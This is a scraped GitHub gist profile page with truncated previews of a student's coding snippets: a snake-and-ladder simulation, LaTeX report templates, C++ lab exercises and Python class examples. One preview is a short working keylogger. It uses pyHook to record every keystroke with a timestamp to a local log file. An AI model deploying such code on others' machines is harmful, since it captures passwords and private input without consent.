Skip to content

Instantly share code, notes, and snippets.

View theoctober19th's full-sized avatar
🏠
Working from home

bikalpa theoctober19th

🏠
Working from home
View GitHub Profile
@theoctober19th
theoctober19th / snake_ladders.py
Last active March 5, 2024 08:46
Simple Snake and Ladder Game Simulation in Python
"""
SNAKE AND LADDER GAME SIMULATION
bikalpa (2019-01-10)
RULE:
A player will get spawned only if she gets 1 in the dice.
After that, if the player gets the number n in the dice, she moves forward n boxes
If there is a ladder starting from the square the player is currently in, she is promoted to the square where the ladder ends
If there is a snake starting from the square the player is currently in, she is demoted to the square where the tail of snake lies.
"""
\documentclass[a4paper,10pt]{article}
\usepackage[utf8]{inputenc}
\usepackage{tikz}
\usetikzlibrary{shapes.geometric, arrows}
\tikzstyle{decision} = [diamond, draw, text badly centered]
\tikzstyle{block} = [rectangle, draw, text centered, rounded corners, minimum size=2em, inner sep=4]
\tikzstyle{line} = [draw, -latex']
\begin{document}
import pyHook, pythoncom, sys, logging
import datetime
file_log = 'D:\\Lab\\logs\\keystrokes\keylogs.bd' #Change this path to where you want to store the logs to.
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
logging.log(10, str(datetime.datetime.now()) + ' >>' + chr(event.Ascii) + '<<')
return True
@theoctober19th
theoctober19th / 1.cpp
Created July 6, 2019 15:53
Susmita Baini Solutions
#include <iostream>
using namespace std;
int main() {
cout << "Welcome to C++ programming" << endl;
return 0;
}
@theoctober19th
theoctober19th / 1.cpp
Created July 13, 2019 07:16
LAB 2 Solutions
#include <iostream>
using namespace std;
float Add(float a, float b, float c){
return a+b+c;
}
int main() {
float a, b, c;
@theoctober19th
theoctober19th / title_page.tex
Created July 16, 2019 09:48
LaTeX code for writing Project Reports (Format of NCIT College)
\documentclass[12pt, a4paper]{report}
% gives the margin to the page for entire document
\usepackage[bindingoffset=1.57cm, left=2.54cm, right=2.54cm, top=2.54cm, bottom=2.54cm]{geometry}
\usepackage{graphicx}
\graphicspath{ {images/} }
\usepackage{wrapfig}
\usepackage{mathptmx}
/*
Create a class template Vector with a type parameter T which holds an array of type T. Also, include constructor to initialize the objects, a function to calculate scalar product of two two vectors by overloading '*' operator so that statements like v1 * v2 are permissible.
Write a main function to test the above class template and find the scalar product of following pairs of vectors. {1, 2, 3}, {4, 5, 6} and {2.5, 3.5, 4.5}, {1.5, 2.5, 3.5}.
*/
#import <iostream>
using namespace std;
template <typename T>
/*
Create a class shape with a pure virtual member function display (). Derive two classes circle and rectangle. With member function by overriding member function in base class shape to display the name of respective shape. Write main function to create objects of derived classes and call display function.
*/
#import <iostream>
using namespace std;
class Shape{
public:
@theoctober19th
theoctober19th / program.py
Created December 8, 2019 05:22
First day of Bootcamp
class Car():
def __init__(self, name):
self.name = name
def display(self):
print(self.name)
class Tata(Car):
def __init__(self, name):
self.name = name
@theoctober19th
theoctober19th / program.py
Created December 8, 2019 11:34
day shift ko gist
class Car():
def __init__(self, year):
self.year = year
def display(self):
print('i am inside parent')
class Tata(Car):
def __init__(self, year):
self.year = year